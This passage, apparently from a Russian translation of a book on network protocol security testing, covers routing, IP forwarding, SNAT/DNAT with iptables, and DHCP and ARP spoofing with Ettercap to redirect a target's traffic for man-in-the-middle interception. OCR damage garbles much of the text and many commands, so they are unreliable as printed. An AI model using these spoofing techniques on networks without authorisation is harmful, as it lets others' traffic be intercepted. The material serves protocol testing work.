устройство, которое перенаправляет трафик из одного места в другое. 

Например, на рис. 4.1 клиент 192.168.56.10 пытается отправить 
трафик на сервер 10.1.1.10, но у клиента нет прямого подключения 
к серверу. Сначала он отправляет трафик, предназначенный для сер- 
вера, маршрутизатору А. В свою очередь, маршрутизатор А отправ- 
ляет трафик маршрутизатору В, у которого есть прямое соединение 
с целевым сервером. Маршрутизатор В передаеттрафик до конечного 
адреса назначения. 


Сеть 192.168.56.0 Сеть 172.16.0.0 Сеть 10.0.0.0 


Маршрутизатор 
В 


Трафик, идущий Перенаправление Трафик, идущий 
на сервер трафика на сервер на сервер 


10.1.1.10 10.1.1.10 10.1.1.10 


Клиент: 192.168.56.10 Сервер 10.1.1.10 


Рис. 4.1. Пример маршрутизируемого трафика 


Как и все узлы, шлюз не знает точного места назначения трафи- 
ка, поэтому ищет соответствующий следующий шлюз для отправки. 
В этом случае маршрутизаторы А и В знают только о двух сетях, к ко- 
торым они подключены напрямую. Чтобы попасть от клиента к сер- 
веру, трафик должен быть маршрутизирован. 


Использование їгасегоиѓе 


При отслеживании маршрута вы пытаетесь отобразить маршрут, по 
которому ІР-трафик будет идти к определенному адресу назначения. 
Большинство операционных систем имеют встроенные инструменты 
для выполнения трассировки, такие как Ёгасегоџёе в большинстве 
Опіх-подобных платформ и їгасегі в Міпӣоугѕ. 

В листинге 4.1 показан результат трассировки маршрута до ми. 
д00д91е.сот из домашнего интернет-соединения. 


Листинг 4.1. Трассировка маршрута до имии.доод(е.сот с помощью 
ігасегї 


С: \Узегз\изег>{гасеге ммм. доод1е.сот 


Тгасіпд гоџёе ёо ммм .доод1е.сот [173.194. 34.176] 
оуег а тахітит оф 30 һорѕ: 


1 2 м5 2 м5 2 м5 һҺоте.1оса1 [192.168.1.254] 
2 15 тѕ 15 м5 15 м5 217.32.146.64 
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3 88 тѕ 15 м5 15 м5 217.32.146.110 
4 16 тѕ 16 тѕ 15 м5 217.32.147.194 
5 26 м5 15 т 15 м5 217.41.168.79 
6 16 тѕ 26 м5 16 м5 217.41.168.107 
7 26 м5 15 т 15 м5 109.159. 249.94 
8 18 м5 16 тѕ 15 м5 109.159.249.17 
9 17 т 28 м5 16 м5 62.6.201.173 
10 17 тѕ 16 тѕ 16 м5 195.99.126.105 
11 17 п5 17 м5 16 м5 209.85.252.188 
12 17 м5 17 т 17 м5 209.85.253.175 
13 27 т5 17 м5 17 м5 11г14$22-1п-116.1е100.пеф [173.194.34.176] 


Каждая пронумерованная строка вывода (1, 2 и т. д.) представляет 
собой уникальный шлюз, маршрутизирующий трафик до конечного 
пункта назначения. Вывод относится к максимальному количеству 
переходов. Один переход представляет собой сеть между каждым шлю- 
зом на всем маршруте. Например, между вашим компьютером и пер- 
вым маршрутизатором существует переход, еще один - между этим 
маршрутизатором и далее, до конечного пункта назначения. Если 
максимальное количество переходов превышено, процесс їігасегоиїѓе 
прекратит поиск дополнительных маршрутизаторов. Максимальный 
переход можно указать в командной строке їгасегоиѓе – -ћ МИМ для 
МИп9о\м$ и -т МИМ в Опіх-подобных системах. (Вывод также показы- 
вает время на подтверждение и передачу от машины, выполняющей 
трассировку и обнаруженный узел.) 


Таблицы маршрутизации 


Операционная система использует таблицы маршрутизации, чтобы 
определить, на какие шлюзы отправлять трафик. Таблица маршрути- 
зации содержит список сетей назначения и шлюз для маршрутизации 
трафика. Если сеть напрямую подключена к узлу, отправляющему се- 
тевой трафик, то шлюз не требуется, и сетевой трафик можно переда- 
вать непосредственно по локальной сети. 

Можно просмотреть таблицу маршрутизации своего компьютера, 
введя команду пеЁѕ#аї -г в большинстве Опіх-подобных систем или 
гоц*е ргіпі в Міпаомѕ. В листинге 4.2 показаны выходные данные при 
выполнении этой команды в Міпаом. 


Листинг 4.2. Пример вывода таблицы маршрутизации 


> гоифе ргіпё 


ІРу4 Воџёе ТаБ1е 


Асіме Воџіеѕ: 


М№еємогк Без па оп Мефта$К Сафемау ІпёегҒЁасе Меїгіс 
0.0.0.0 0.0.0.0 192.168.1.254 192.168.1.72 10 

127.0.0.0 255.0.0.0 Оп-11пК 127.0.0.1 306 

127.0.0.1 255.255.255.255 Оп-АлпК 127.0.0.1 306 
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127.255.255.255 255.255.255.255 Оп-1АпК 127.0.0.1 306 
192.168.1.0 255.255.255.0 Оп-1АпК 192.168.1.72 266 
192.168.1.72 255.255.255.255 Оп-1АпК 192.168.1.72 266 
192.168.1.255 255.255.255.255 Оп-1АпК 192.168.1.72 266 
224.0.0.0 240.0.0.0 Оп-1іпк 127.0.0.1 306 
224.0.0.0 240.0.0.0 Оп-1АпК 192.168.56.1 276 
224.0.0.0 240.0.0.0 Оп-1АпК 192.168.1.72 266 
255.255.255.255 255.255.255.255 Оп-11пК 127.0.0.1 306 
255.255.255.255 255.255.255.255 Оп-1АпК 192.168.56.1 276 
255.255.255.255 255.255.255.255 Оп-1АпК 192.168.1.72 266 


Как упоминалось ранее, одна из причин, по которой используется 
маршрутизация, заключается в том, что узлам не нужно знать рас- 
положение других узлов в сети. Но что происходит с трафиком, если 
неизвестен шлюз, отвечающий за обмен данными с сетью назначе- 
ния? В этом случае таблица маршрутизации обычно перенаправляет 
весь неизвестный трафик на шлюз по умолчанию. Его можно увидеть 
в строке с номером ®, где адрес назначения - это 0.0.0.0. Это запол- 
нитель для шлюза по умолчанию, который упрощает управление таб- 
лицей маршрутизации. При использовании заполнителя таблицу не 
нужно изменять при изменении конфигурации сети, например через 
конфигурацию ОНСР. Трафик, отправленный в любой адрес назначе- 
ния, для которого нет известного совпадающего маршрута, будет от- 
правлен на шлюз, зарегистрированный для адреса 0.0.0.0. 

Как можно использовать маршрутизацию в своих интересах? Рас- 
смотрим встроенную систему, где операционная система и оборудо- 
вание входят в состав одного устройства. Возможно, вы не сможете 
повлиять на конфигурацию сети во встроенной системе, так каку вас 
может даже не быть доступа к базовой операционной системе, но 
если вы можете представить свое устройство для перехвата как шлюз 
между системой, генерирующей трафик, и конечным адресом назна- 
чения, то сможете перехватывать трафик в этой системе. 

В следующих разделах обсуждаются способы настройки ОС для ра- 
боты в качестве шлюза, чтобы облегчить перехват трафика. 


Настройка маршрутизатора 


По умолчанию большинство операционных систем не направляют 
трафик между сетевыми интерфейсами напрямую. В основном это 
делается для того, чтобы кто-то на одной стороне маршрута не мог 
напрямую связываться с сетевыми адресами на другой стороне. Если 
в конфигурации ОС маршрутизация не активирована, любой тра- 
фик, отправляемый на один из сетевых интерфейсов машины, ко- 
торый необходимо маршрутизировать, вместо этого отбрасывается, 
или отправителю отправляется сообщение об ошибке. Конфигурация 
по умолчанию очень важна для безопасности: представьте себе по- 
следствия, если маршрутизатор, контролирующий ваше подключе- 
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ние к интернету, направляет трафик из интернета непосредственно 
в вашу локальную сеть. 

Следовательно, чтобы операционная система могла выполнять 
маршрутизацию, необходимо внести некоторые изменения в конфи- 
гурацию от имени администратора. Хотя в каждой ОС есть разные 
способы активации маршрутизации, один аспект остается неизмен- 
ным: вам потребуется как минимум два отдельных сетевых интерфей- 
са, установленных на вашем компьютере, чтобы работать в качестве 
маршрутизатора. Кроме того, для правильной работы маршрутиза- 
ции нужны будут маршруты с обеих сторон шлюза. Если у адреса на- 
значения нет соответствующего маршрута к исходному устройству, 
обмен данными, возможно, будет идти не так, как ожидалось. После 
активации маршрутизации вы можете настраивать сетевые устрой- 
ства для перенаправления трафика через новый маршрутизатор. 
Запустив такой инструмент, как МігеѕһагКк, на маршрутизаторе, вы 
можете перехватывать трафик, когда он пересылается между двумя 
сетевыми интерфейсами, которые вы настроили. 


Активируем маршрутизацию в И/таом$ 


По умолчанию в Міпаоуѕ маршрутизация между сетевыми интерфей- 
сами отключена. Чтобы активировать ее, необходимо внести изме- 
нения в системный реестр. Сделать это можно с помощью редактора 
реестра с графическим интерфейсом пользователя, но самый простой 
способ – выполнить следующую команду от имени администратора 
из командной строки: 


С> гед айд НКІМ\Ѕуѕеет\СиггепЕСопЕго1Ѕе&\Ѕегуісеѕ\Тсрір\Рагапеёегѕ ^ 
[№ ІРЕпаБ1еАоиёег /+ ВЕб_ОМОВО /94 1 


Чтобы отключить маршрутизацию, после того как вы закончили 
перехват трафика, введите следующую команду: 


С> гед айд НКІМ\Ѕуѕёет\СиггепЕСопёго1Ѕе&\Ѕегуісеѕ\Тсрір\Рагапеёегѕ ^ 
[№ ІРЕпаБ1еВоиёег /+ ВЕС_ ново /4 0 


Вам также потребуется перезагрузка между сменой команд. 


ШУЭ Будьте очень осторожны при изменении реестра 
Илпаом/з. Неправильные изменения могут полностью вывести ИЙпаом из 


строя и не дать ей загрузиться! Обязательно сделайте резервную копию 
с помошью такой утилиты, как встроенный инструмент резервного ко- 
пирования ИЙпаом, прежде чем вносить какие-либо опасные изменения. 


Активируем маршрутизацию в Итх-подобных системах 


Чтобы активировать маршрутизацию в Опіх-подобных операционных 
системах, просто измените настройку системы ІР-маршрутизации с по- 
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мощью команды 5уѕсї1. (Обратите внимание, что инструкции, описы- 
вающие, как это сделать, не обязательно совпадают для разных систем, 
но найти конкретную информацию по данному вопросу можно без осо- 
бого труда.) Чтобы активировать маршрутизацию в Мих для ІРу4, вве- 
дите следующую команду от имени привилегированного пользователя 
(перезагрузка не требуется; изменения происходят сразу же): 


# 5у$сЕТ пее.1ру4.сопР.а 1 .Рогиаг4Алп9=1 


Чтобы активировать маршрутизацию для [Руб, введите следующую 
команду: 


# 5у$сЕТ пеЁ.іруб.сопЁ.а11. Ғогмагӣіпд=1 


Можно вернуть конфигурацию маршрутизации, изменив 1 на 0 
в предыдущих командах. 
Чтобы активировать маршрутизацию в тасО$, введите: 


> $у$С Е. -и пеЁ.іпеё.ір. Ғогиагӣіпд=1 


Преобразование сетевых адресов 


При попытке перехвата трафика вы можете обнаружить, что перехва- 
тываете исходящий трафик, но не входящий. Причина состоит в том, 
что вышестоящий маршрутизатор не знает маршрута к исходной 
сети; поэтому он либо полностью отбрасывает трафик, либо перена- 
правляет его в постороннюю сеть. 

Эту ситуацию можно исправить, используя преобразование сетевых 
адресов (МАТ), механизм в сетях ТСР/ЛР, позволяющий преобразовы- 
вать ІР-адреса транзитных пакетов. МАТ широко используется для 
расширения ограниченного адресного пространства 1Ру4, скрывая 
несколько устройств за одним общедоступным ІР-адресом. 

МАТ также может упростить настройку сети и безопасность. Когда 
МАТ активировано, вы можете запускать любое количество устройств 
за одним [Р-адресом, как вам нравится, и управлять только этим об- 
щедоступным адресом. 

На сегодняшний день распространены два типа МАТ: 50игсе МАТ 
(5МАТ) и Эезипаноп МАТ (ОМАТ). Различия между ними связаны с тем, 
какой адрес изменяется во время обработки сетевого трафика. ЗМАТ 
(который также называют маскарадингом) изменяет информацию об 
ІР-адресе источника; ОМАТ меняет адрес назначения. 


Активируем $МАТ 


Если вы хотите, чтобы маршрутизатор скрыл несколько машин за од- 
ним ІР-адресом, используйте 5МАТ. Когда ЗМАТ включен, так как тра- 
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фик маршрутизируется во внешнем сетевом интерфейсе, исходный 
[Р-адрес в пакетах перезаписывается, чтобы соответствовать един- 
ственному [Р-адресу, доступному через ЗМАТ. 

Возможно, будет полезно реализовать ЗМАТ, если вы хотите напра- 
вить трафик в сеть, которую вы не контролируете, потому что, как 
вы помните, оба узла в сети должны иметь соответствующую инфор- 
мацию о маршрутизации, чтобы сетевой трафик передавался между 
узлами. В худшем случае, если информация о маршрутизации невер- 
на, трафик будет идти только в одном направлении. Даже в лучшем 
случае вполне вероятно, что вы сможете перехватить трафик только 
в одном направлении; другое направление будет маршрутизировано 
альтернативным путем. 

ЅМАТ решает эту потенциальную проблему, изменяя исходный 
адрес трафика на ІР-адрес, который может использовать узел назна- 
чения - обычно тот, что назначается внешнему интерфейсу маршру- 
тизатора. Таким образом, узел назначения может отправлять трафик 
обратно в направлении маршрутизатора. На рис. 4.2 показан простой 
пример 5М№АТ. 


Клиент (10.0.0.1) Маршрутизатор (1.1.1.1) Сервер (дотаіп.сот) 


Трафик с 10.0.0.1 Трафик с 1.1.1.1 
на йотаіп.сот на дотаіп.сот 


Рис. 4.2. Пример ЅМАТ от клиента к серверу 


Когда клиент хочет отправить пакет на сервер в другой сети, он от- 
правляет его маршрутизатору, настроенному с помощью $МАТ. Ког- 
да маршрутизатор получает пакет от клиента, адрес источника - это 
адрес клиента (10.0.0.1), а адрес назначения - это сервер (разрешен- 
ный адрес домена дотат.сот). Именно в этот момент используется 
МАТ: маршрутизатор изменяет адрес источника пакета на свой соб- 
ственный (1.1.1.1), а затем пересылает пакет на сервер. 

Когда сервер получает этот пакет, он предполагает, что пакет при- 
шел от маршрутизатора; поэтому когда он хочет отправить пакет об- 
ратно, он отправляет его на адрес 1.1.1.1. Маршрутизатор получает 
пакет, определяет, что он пришел от существующего МАТ-соединения 
(на основе адреса назначения и номеров портов) и отменяет изме- 
нение адреса, преобразуя 1.1.1.1 обратно в исходный адрес клиента 
10.0.0.1. Наконец, пакет можно перенаправить обратно исходному 
клиенту, при этом серверу не нужно знать о клиенте или о том, как 
выполнять маршрутизацию. 


Настройка $МАТ в Шіпих 


Хотя вы можете настроить 5МАТ в Міпӣомѕ и тасО5 с помощью обще- 
го доступа к подключению к интернету, я расскажу только о том, как 
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настроить 5МАТ в пих, потому что это самая простая платформа для 
описания и самая гибкая, когда заходит речь о конфигурации сети. 
Перед настройкой ЗМАТ необходимо сделать следующее: 


• активируйте [Р-маршрутизацию, как описано ранее в этой главе; 


• подберите имя исходящего сетевого интерфейса, для которого 
вы хотите настроить $М№АТ. Это можно сделать с помощью коман- 
ды іЁсопҒід. Исходящий интерфейс можно назвать как-нибудь 
вроде еһе; 

• обратите внимание на ІР-адрес, связанный с исходящим интер- 
фейсом, при использовании іЁсопЁід. 


Теперь можно настроить правила МАТ с помощью команды ірќѓаБ- 
1еѕ. (Эта команда, скорее всего, уже установлена в вашем дистри- 
бутиве Шпих.) Но сначала удалите все существующие правила МАТ 
в ірёаБ1еѕ, введя следующую команду от имени привилегированного 
пользователя: 


# ірёаБ1еѕ -Ё па -Е 


Если исходящий сетевой интерфейс имеет фиксированный адрес, 
выполните следующие команды от имени привилегированного поль- 
зователя, чтобы активировать 5МАТ. Замените ІМТМАМЕ именем ваше- 
го исходящего интерфейса, а вместо І\ТІР укажите назначенный ему 
ТР-адрес. 


# ірёаБ1еѕ -Е па -А РОЗТВОЦТТМС -о ТМТМАМЕ -ј ЅМАТ --о 1МТТР 


Однако если ІР-адрес настроен динамически (возможно, с исполь- 
зованием ОНСР или коммутируемого соединения), используйте сле- 
дующую команду, чтобы автоматически определить исходящий ІР- 
адрес: 


# ірёаБ1еѕ -Е паё -А РОЗТВОЦТТМС -о ТМТМАМЕ -) МАЗОЦЕВАОЕ 


Активируем ОМАТ 


ОМАТ может оказаться полезным, если вы хотите перенаправить тра- 
фик на прокси-сервер или другую службу для его завершения или пе- 
ред перенаправлением трафика в исходное место назначения. РМАТ 
перезаписывает ІР-адрес назначения и, необязательно, порт назна- 
чения. Вы можете использовать ОМАТ для перенаправления опреде- 
ленного трафика в другое место назначения, как показано на рис. 4.3. 
Здесь видно, что трафик перенаправляется как с маршрутизатора, так 
и ссервера на прокси-сервер с адресом 192.168.0.10 для выполнения 
атаки «человек посередине». 
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Клиентское 
приложение Маршрутизатор Сервер (4отат.сот:12 34) 


Трафик, идущий =. И ми 
на дотат.сот:1234 Исходный маршрут 


Используем ОМАТ 
для Ее 
трафика на 
192. 168, 0.10:8888 


9. Перенаправленный маршрут 


Прокси-сервер (192.168.0.10:8888) 
Рис. 4.3. Пример работы РМАТ 


Нарис.4.5 показано клиентское приложение, отправляющеетрафик 
через маршрутизатор, который предназначен для домена дотат.сот 
на порту 1234. Когда пакет получен на маршрутизаторе, этот маршру- 
тизатор обычно просто пересылает его в исходное место назначения. 
Но поскольку ОМАТ используется для изменения адреса назначения 
пакета и порта на 192.168.0.10:8888, маршрутизатор применит свои 
правила переадресации и отправит пакет на прокси-машину, которая 
может перехватывать трафик. Затем прокси устанавливает новое со- 
единение с сервером и пересылает все пакеты, отправленные от кли- 
ента на сервер. Весь трафик между исходным клиентом и сервером 
можно перехватить и обработать. 

Настройка ОМАТ зависит от операционной системы, на которой ра- 
ботает маршрутизатор. (Если ваш маршрутизатор работает под управ- 
лением Міпаӣомѕ, то вам, вероятно, не повезло, потому что функцио- 
нальные возможности, необходимые для его поддержки, не доступны 
пользователю.) Настройка значительно различается между различны- 
ми версиями Опіх-подобных операционных систем и тасО$, поэтому 
я покажу только, как настроить РМАТ в ипих. Сначала очистите все 
существующие правила МАТ, введя следующую команду: 


# ірёаБ1еѕ -Е паЁ -Е 


Затем выполните следующую команду от имени привилегирован- 
ного пользователя, заменив ОКІСІР (исходящий [Р-адрес) на нужный 
ІР-адрес, а вместо МЕМІР укажите новый ІР-адрес назначения, на кото- 
рый должен идти этот трафик. 


# ірёаБ1еѕ -Ё па -А РВЕВОЦТТМС -9 ОЮТС1Р -ј ОМАТ --Ео-дез па оп МЕМТР 


Новое правило МАТ будет перенаправлять все пакеты на МЕИЛР. 
(Поскольку РМАТ происходит раньше обычных правил маршрути- 
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зации в Мпих, безопасно выбрать адрес в локальной сети; правило 
ОМАТ не повлияет на трафик, отправленный непосредственно из 
Ппих.) Чтобы применить правило только к определенному ТСР или 
ОБР, измените команду: 


ірёаБЛеѕ -Е паї -А РВЕВОИТТМС -р РЮОТО -Ч ОВІСІР --Чрогё ОВІСРОВТ -} ОМАТ \ 
- -о-йеѕїіпаіоп МЕИР: МЕИРОЕТ 


Заполнитель РАОТО (протокол) должен быть либо ср, либо ийр в за- 
висимости от протокола ТР, который перенаправляется с помощью 
правила "МАТ. Значения ОВТСТР (исходный ІР) и МЕМР остаются преж- 
НИМИ. 

Также можно настроить ОВТСРОВТ (исходный порт) и МЕМРОВТ, если 
вы хотите изменить порт назначения. Если МЕМРОВЕТ не указан, будет 
изменен только ІР-адрес. 


Перенаправление трафика на шлюз 


Вы настроили свой шлюз для перехвата и изменения трафика. Ка- 
жется, все работает правильно, но есть проблема: нельзя просто так 
изменить сетевую конфигурацию устройства, где вы хотите осуще- 
ствить перехват. Кроме того, ваши возможности изменять конфигу- 
рацию сети, к которой подключено устройство, ограничены. Вам ну- 
жен способ перенастроить или обмануть отправляющее устройство, 
чтобы трафик шел через ваш шлюз. Это можно сделать, эксплуатируя 
уязвимости в локальной сети путем подмены пакетов для протоколов 
ОНСР или АБР. 


ОНСР-спуфинг 


Протокол ОНСР разработан для работы в ІР-сетях для автоматиче- 
ского распределения информации о конфигурации сети по узлам. 
Следовательно, если мы сможем подделать трафик ОНСР, то сможем 
удаленно изменить конфигурацию сети. При использовании ОНСР 
конфигурация сети, передаваемая на узел, может включать в себя 
Р-адрес, а также шлюз по умолчанию, таблицы маршрутизации, 
О№ 5-серверы по умолчанию и даже дополнительные настраиваемые 
параметры. Если устройство, которое вы хотите протестировать, ис- 
пользует ОНСР для настройки своего сетевого интерфейса, это позво- 
ляет с легкостью предоставить настраиваемую конфигурацию, кото- 
рая даст возможность без труда перехватить сетевой трафик. 

ОНСР использует протокол ОРР для отправки запросов к службе 
ОНСР в локальной сети и от нее. При согласовании конфигурации 
сети отправляются четыре типа пакетов ОНСР: 


• Піѕсоуег – отправляется всем узлам в ІР-сети для обнаружения 
ОНСР-сервера; 
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• ОНег – отправляется ОНСР-сервером на узел, который отправил 
пакет обнаружения (ріѕсохег), чтобы предложить конфигурацию 
сети; 


• ВедиезЕ – отправляется исходным узлом для подтверждения 
принятия предложения (ОЁег); 


• АскпоуЛейетепї – отправляется сервером для подтверждения 
завершения настройки. 


Интересным аспектом ОНСР является тот факт, что он использу- 
ет протокол без аутентификации, не устанавливая соединение для 
выполнения настройки. Даже если существующий ОНСР-сервер на- 
ходится в сети, можно подделать процесс конфигурации и изменить 
конфигурацию сети узла, включая адрес шлюза по умолчанию, на тот, 
который вы контролируете. Это называется ОНСР-спуфинг. 

Чтобы осуществить его, мы будем использовать ЕЁегсар, бесплат- 
ный инструмент, доступный для большинства операционных систем 
(хотя Міпӣоуѕ официально не поддерживается). 


1. В Ипих запустите Еїїегсар в графическом режиме от имени при- 
вилегированного пользователя: 


# еїёегсар -С 


Вы должны увидеть графический интерфейс, как показано на 
рис. 4.4. 


- еНегсар МС-0.7.4.2 (аз ѕирегиѕег) - + х 
Ве Ѕпі# Оріопѕ Нер 


ЕТЕРЕЧЕАХР' 


Рис. 4.4. Основной графический интерфейс Еїїегсар 
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2. Настройте режим сниффинга, выбрав $пі > Опібеа Зи пе. 


5. В диалоговом окне, показанном на рис. 4.5, вам будет предложе- 
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но выбрать сетевой интерфейс, с которым вы хотите работать. 
Выберите интерфейс, подключенный к сети, для которой вы хо- 
тите выполнить ОНСР-спуфинг. (Убедитесь, что настройки се- 
тевого интерфейса настроены правильно, так как ЕЦегсар авто- 
матически отправит сконфигурированный ІР-адрес интерфейса 
как ОНСР шлюз по умолчанию.) 


т еќегсар Іприї (аѕ ѕирегиѕег) х | 


М№ебмогк іпёегѓасе : |е о Е 


у ок 


|| © Сапсе! ] 


Рис. 4.5. Выбор интерфейса для сниффинга 


Активируйте спуфинг, выбрав МИт -› Обср зроойп®. Должно 
появиться диалоговое окно, показанное на рис. 4.6, позволяю- 
щее настроить параметры ОНСР-спуфинга. 


| * МІТМ АКаск: ОНСР 5рооЯпд (аз пођЬойу) х 


Ѕегмег Іпѓогглаіоп 
ІР Рос! (орїопаЇ) |10.0.0.10-50 


М№еѓтаѕк |255.0.0.0 


О№ ЅегмегіР | 192.168.1.1 


у ок © Сапсеі 
| | 


Рис. 4.6. Настройка ОНСР-спуфинга 


В поле 1Р роо! задается диапазон ІР-адресов, передаваемых 
для подмены ОНСР-запросов. Укажите диапазон ІР-адресов, 
которые вы настроили для сетевого интерфейса, перехваты- 
вающего трафик. Например, на рис. 4.6 в этом поле указано 
значение 10.0.0.10-50 (тире указывает на все адреса, вклю- 
чая каждое значение), поэтому мы будем раздавать ІР-адреса 
с 10.0.0.10 по 10.0.0.50 включительно. Настройте маску сети 
в соответствии с маской сети вашего сетевого интерфейса для 
предотвращения конфликтов. Укажите ІР-адрес О№$-сервера 
по своему выбору. 


Начните сниффинг, выбрав Ѕїагї > Эта ѕпіёбпе. Если все про- 
шло успешно, то окно журнала Еїїегсар должно выглядеть так, 
как показано на рис. 4.7. Самая важная строка - это ҒаКе АСК, от- 
правляемая ЕЦегсар в ответ на ОНСР-запрос. 


> еНегсар МС-0.7.4.2 (аз ѕирегиѕег) - + х 
Ѕіагі Тагде Ноѕіѕ Міем Міт НЁегз 1099т9 Ріидіпѕ Нер 


ОНСР ѕрооћпд: ѓаке ОЕЕЕВ [08:00:27:68:95:С3] оНейпд 10.0.0.11 г 
ОНСР: [10.0.0.1] ОРЕЕВ : 10.0.0.11 255.0.0.0 СМ 10.0.0.1 О№ 192.168.1.1 

ОНСР: [08:00:27:68:95:С3] 015СОМЕВ 

ОНСР 5роойпд: ѓаке ОЕЕЕК [08:00:27:68:95:С3] оћегіпд 10.0.0.12 

ОНСР: [10.0.0.1] ОРЕЕВ : 10.0.0.12 255.0.0.0 СМ 10.0.0.1 О№ 192.168.1.1 

ОНСР: [08:00:27:68:95:С3] КЕОЧЕЅТ 10.0.0.12 

ОНСР ѕрооћпд: ѓаке АСК [08:00:27:68:95:С3] аѕѕідпей їо 10.0.0.12 | | 
ОНСР: [10.0.0.1] АСК : 10.0.0.12 255.0.0.0 СМ 10.0.0.1 О№ 192.168.1.1 


Рис. 4.7. Успешный ОНСР-спуфинг 


Вот и все, что нужно для ОНСР-спуфинга с помощью ЕЦетсар. Он 
может быть очень мощным инструментом, если у вас нет другого вы- 
бора, а ОНСР-сервер уже находится в сети, которую вы пытаетесь ата- 
ковать. 


АРР-спуфинг 


Протокол АКР критически важен для работы ІР-сетей, работающих на 
Есегпеї, потому что АВР находит адрес Ећегпеї для данного ІР-адре- 
са. Без АКР было бы очень сложно эффективно передавать трафик че- 
рез Еегпеї. Вот как он работает: когда один узел хочет обменивать- 
ся данными с другим узлом в той же сети Еегпеї, он должен иметь 
возможность сопоставить ІР-адрес с МАС-адресом Еїћегпеї (именно 
так Ећегпеї узнает узел назначения для отправки трафика). Узел ге- 
нерирует пакет АВР-запроса (рис. 4.8), содержащий 6-байтовый МАС- 
адрес узла, его текущий ІР-адрес и ІР-адрес целевого узла. Пакет пе- 
редается по сети Еегпеї с МАС-адресом назначения НН, 
который является определенным широковещательным адресом. 
Обычно устройство Еегпеі обрабатывает только пакеты с адресом 
назначения, который совпадает с его адресом, но если оно получает 
пакет с МАС-адресом назначения, который задан как широковеща- 
тельный, то также обрабатывает и его. 

Если одному из получателей этого сообщения был назначен целе- 
вой ІР-адрес, то теперь он может вернуть ответ АКР, как показано на 
рис. 4.9. Этот ответ почти полностью совпадает с запросом, за исклю- 
чением того, что поля отправителя и назначения меняются местами. 
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Поскольку ІР-адрес отправителя должен соответствовать исходному 
запрашиваемому целевому [Р-адресу, запрашивающая сторона теперь 
может извлечь МАС-адрес отправителя и запомнитьего для последую- 
щего взаимодействия по сети без повторной отправки запроса АВР. 


8 Егате 261: 42 бутеѕ оп міге (336 611$), 42 Бутез сартигед (336 бітѕ) оп іпсегҒасе 0 
8 Етһегпет тт, гс: Сайтиѕсо_01:62:7 (08:00:27:01:62:07), 051: Вгоайсаѕт (ҒҒ:ҒҒ:ҒҒ:ҒҒ:ҒҒ:ҒҒ) 
В Аадгеѕѕ Веѕо1итіоп Рготосо1 (гедиеѕт) 

Нагамаге туре: ЕТһегпет (1) 

Ргососо1 туре: ІР (0х0800) 

Нагамаге 512е: 6 

Ргососо] 5ѕіғе: 4 

Орсоде: гедиезт (1) 

5еп4ег МАС аййгеѕ5: Сайтиѕсо_01:62:7 (08:00:27:01:62:47) 

5еп4ег ТР аййгеѕ5: 192.168. 56.101 (192.168. 56.101) 

Тагдет МАС аййгеѕ5: 00:00:00_00:00:00 (00:00:00:00:00:00) 

Тагдет ІР аййгеѕ5: 192.168.56.1 (192.168. 56.1) 


Рис. 4.8. Пример пакета АВКР-запроса 


+ Егате 262: 42 Бутез оп міге (336 6115), 42 Бутез сартигеа (336 Б1т5) оп іпсегҒасе 0 
8 Етһегпетс ІІ, 5гСс: Сайтиѕсо_00:#4:86 (08:00:27:00:#4:86), 051: Сайтиѕсо 01:62:07 (08:00:27:01:62:07) 
8 Аадгеѕѕ Веѕо1итіоп Рготосо1 (гер1у) 

Нагдмаге туре: Етһегпет (1) 

Рготосо1 туре: ІР (0х0800) 

Нагдмаге 512е: 6 

Ргососо] $12е: 4 

Орсойе: гер1у (2) 

Ѕепӣег МАС аййгеѕ55: Сайтиѕсо_00:#4:86 (08:00:27:00:#4:86) 

Ѕепӣег ІР аййгеѕ5: 192.168. 56.1 (192.168. 56.1) 

Тагдет МАС аййгеѕ5: Садти$Со_01:62:47 (08:00:27:01:62:7) 

Тагдет ТР аййгеѕѕ: 192.168. 56.101 (192.168. 56.101) 


Рис. 4.9. Пример ответа АВР 


Как можно использовать АВР-спуфинг в своих интересах? Как 
и в случае с ОНСР, здесь нет аутентификации для пакетов АВР, кото- 
рые намеренно отправляются на все узлы в сети Ећегпеї. Следова- 
тельно, вы можете сообщить целевому узлу, что у вас есть ІР-адрес, 
и убедиться, что узел перенаправляет трафик на ваш мошеннический 
шлюз, отправляя поддельные пакеты АБР, чтобы «отравить» кеш це- 
левого узла. Можно использовать ЕЦегсар для подмены пакетов, как 
показано на рис. 4.10. 

На рис. 4.10 ЕЦегсар отправляет клиенту поддельные АКР-пакеты 
и маршрутизатору в локальной сети. Если спуфинг прошел успешно, 
эти пакеты меняют кешированные записи АКР для обоих устройств, 
чтобы они указывали на ваш прокси. 


Обязательно подделывайте пакеты АВР и для 
клиента, и для маршрутизатора, чтобы обеспечить связь с обеих сто- 
рон. Конечно, если вам нужна только одна сторона, нужно «отравить» 
только один из узлов. 


Чтобы приступить к АКР-спуфингу, выполните следующие дей- 
СТВИЯ. 


1. Запустите ЕКегсар и войдите в режим Ош Неа Ѕпі пе, как вы 
это делали с ОНСР. 
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Сеть 192.168.100.0 


Клиент: 192.168.100.1 Маршрутизатор: 192.168.100.10 
МАС: 08:00:27:33:81:64 МАС: 08:00:27:68:95:с3 


х С 


9, 
“ Е 
Прокси-сервер (192.168.100.5) 


МАС: 08:00:27:38:1с:е6б 
Рис. 4.10. АВР-спуфинг 


2. Выберите сетевой интерфейс, который нужно «отравить» (тот, 
что подключен к сети, с узлами, которые вы хотите «отравить»). 


5. Настройте список хостов. Самый простой способ получить его - 
позволить ЕЦегсар провести сканирование за вас, выбрав Ноѕіѕ 
э Ѕсап Еог Ноѕіѕ. В зависимости от размера сети сканирование 
может занять от нескольких секунд до нескольких часов. Когда 
сканирование будет завершено, выберите Ноѕїіѕ > Ноѕї 1151; 
должно появиться диалоговое окно, подобное тому, что показа- 
но нарис. 4.11. 


Е ейегсар МС-0.7.4.2 (аз ѕирегиѕег) -+х| 
Ѕіагі Тагдеіѕ Ноѕіѕ Мем Міт ЕҜегѕ 1099тд9 Ршдтз Нер 


| Но$Е 15 Ж 


ІР АдЯгеѕѕ МАС Аййгеѕѕ Сеѕсгіріоп 
| 192.168.100.1 08:00:27:33:81:60 
192.168.100.10 08:00:27:68:95:С3 


| —= —— = = 
| Оеіеѓе Ноѕї | Ааа ёо Тагдеѓ 1 | Ааа ќо Тагдее 2 


кричите 
41 ргогосо! йіѕѕесіогѕ А 
56 рогіѕ топйогед | 

7587 тас мепдог ЯпдегрипЕ | 

1766 {ср 0$ ЯпдегрипЕ | 

2183 Кпомп ѕегуісеѕ - 

Ћапаотігіпд 255 һоѕіѕ Гог ѕсаппіпд... 

Ѕсаппіпд {ће мпое пента$К юг 255 һоѕїѕ... 

